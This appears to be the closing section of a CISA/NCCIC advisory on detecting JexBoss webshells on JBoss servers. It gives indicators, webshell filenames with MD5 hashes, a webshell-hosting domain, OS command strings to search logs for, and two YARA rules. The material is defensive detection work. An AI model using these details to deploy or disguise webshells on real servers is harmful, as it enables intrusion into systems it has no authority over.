- **Unusual internet downloads from the server**
  - Unusual internet downloads may indicate that an attacker is attempting to obtain tools to perform additional attacks (e.g., Mimikatz, SQLMap).
- **Unusual URIs being served by the webserver**
  - The presence of unusual URIs may indicate the installation of a webshell, as is the case when `jexws4/jexws4.jsp` is used.
- **Embedded OS commands**
  - Network defenders should specifically search for OS commands embedded in HTTP query parameters, HTTP header values, and `HTTP POST` data in the contents of the organization's network traffic. For example, the command in the Apache Struts 2 exploit is visible in the cleartext in the Content-Type header. NCCIC recommends organizations analyze their server to identify evidence that OS commands like these have been executed, the presence of which indicates a successful attack.

Combining the automated analysis of signatures and behavioral indicators may significantly improve false-positive rates and time-to-detection.

On-Server Artifacts

The JexBoss webshell files included on the JexBoss GitHub page—and available on the `joaomatosf[.]com` website—are Web Application aRchive (WAR) format files, with the file extension `.war`. These WAR files are basically ZIP files containing the file `jexws.jsp`, which is the file in the URI that JexBoss requests in order to perform command execution. The JexBoss webshell `.war` and `.jsp` file names may start with `jexsw2`, `jexws3`, `jexws4`, or `jbossass`.

Tables 6, 7, and 8 include filenames and their associated MD5 checksums for the files related to the JexBoss webshell. Network defenders should search for these files on their organization's web server file systems, the presence of which indicates a JexBoss webshell.

The webshell files provided on the JexBoss GitHub page are identified in table 6.

Table 6: JexBoss webshells on GitHub

Filename	Webshell Version	Size (bytes)	MD5 Checksum
jbossass.war	1	685	cbdeaf83f58a64b09df58b94063e0146
jexws.war and jbossas.war	2	1296	3f156bd68b2a32a1b5cb03af318667f0

If the target web server is induced to download the `.war` file from `joaomatosf[.]com` (see the Webshell Installation section), the web server will retrieve the latest version of the webshell (currently version 4). NCCIC's examination of the public files hosted on `joaomatosf[.]com` revealed the presence of the `.war` files listed in table 7.

Table 7: JexBoss webshells listed on `joaomatosf[.]com`

Filename	Webshell Version	Size (bytes)	MD5 Checksum
jbossass.war	4	1452	8db88d5d46aa503a697a6940aa10a574
jexws.war	4	1446	bb8d176207045ff70470c511271f56d9
jexws2.war	4	1448	13062a85ed1f5c3f4878ff3950a8e222
jexws3.war	4	1448	f2af83ed4cac1d2c68f82bd8450c7428
jexws4.war	4	1448	a15bf7dd4169069c70ba2f4ee1c62b03

The `.jsp` files within the `.war` files in tables 6 and 7 are listed in table 8.

Table 8: JexBoss `.jsp` files

Filename	Webshell Version	Size (bytes)	MD5 Checksum
jbossass.jsp	1	378	3cd75a261debd9fb2b16368266fba778

Filename	Webshell Version	Size (bytes)	MD5 Checksum
jexws.jsp	2	1812	e7d94e998f1ec8beb8f33e56607c45f9
jexws.jsp	4	2201	acda46759d7c3526df2a6c59803586a4

Once the `.war` file is successfully uploaded to the victim web server, JBoss handles the file as if it is a legitimate web application. In the test environment, NCCIC found the original `.war` and the unzipped `.jsp` files in a temporary location (`/opt/jboss-6.1.0.Final/server/default/tmp`), while the contents of the `.jsp` file were wrapped in a platform-specific class and written to a new file. The contents of the `.jsp` file were then installed by JBoss in the following location:

`/opt/jboss-6.1.0.Final/server/default/work/jboss.web/localhost/jexws4/org/apache/jsp/jexws4_jsp.java`

Advanced users of JexBoss can change the names of the webshell files, make minor modifications so that the MD5 checksum differs from those listed in this report, or completely change this webshell to circumvent the methods of detection that focus on the presence of the specific files listed in this report. However, network defenders may still benefit from frequently reviewing web servers for the presence of unwanted files and URIs served by their web server, which may indicate the presence of a webshell or other malware.

Network defenders should carefully examine their organization's web server logs for indications of malicious web requests, specifically to identify requests that contain OS commands, such as

- `/bin/bash` or `uname -a` in Linux, or
- `cmd.exe` or `net` commands in Windows.

Forensic analysts can use the YARA rules provided in figure 17 to search their web server file system for the presence of JexBoss webshell files. These general YARA rules may work better than file hashes to alert on webshell files that attackers have made small changes to in order to evade detection. These general YARA rules will not detect other custom webshells or heavily modified JexBoss webshells.

```
rule jexboss_war: webshell
{
   meta:
      description = "JexBoss WAR File"
   strings:
      $magic = { 50 4b 03 04 ( 14 | 0a ) 00 }
      $string_1 = "jexws"
      $string_2 = "jbossass"
      $jsp_ext = ".jsp"
   condition:
      $magic at 0 and 1 of ($string_*) and $jsp_ext
}
rule jexboss_jsp: webshell
{
   meta:
      description = "JexBoss JSP file"
   strings:
      $string_1 = "getParameter(\"ppp\")"
      $string_2 = "jexboss" nocase
      $string_3 = "getRuntime().exec("
   condition:
      all of ($string_*)
}
```

Figure 17: JexBoss webshell YARA rules

References

[1] Cisco Talos Intelligence Blog post on SamSam <https://blog.talosintelligence.com/2016/03/samsam-ransomware.html>

[2] Symantec Internet Security Threat Report <https://www.symantec.com/content/dam/symantec/docs/reports/istr-22-2017-en.pdf>

[3] Exploit Database article on Apache Struts 2 exploit <https://www.exploit-db.com/exploits/41570/>

Revisions

November 8, 2018: Initial version

Return to top

Topics </topics> **Spotlight** </spotlight> **Resources & Tools** </resources-tools>

News & Events </news-events> **Careers** </careers> **About** </about>

1-844-Say-CISA contact@cisa.dhs.gov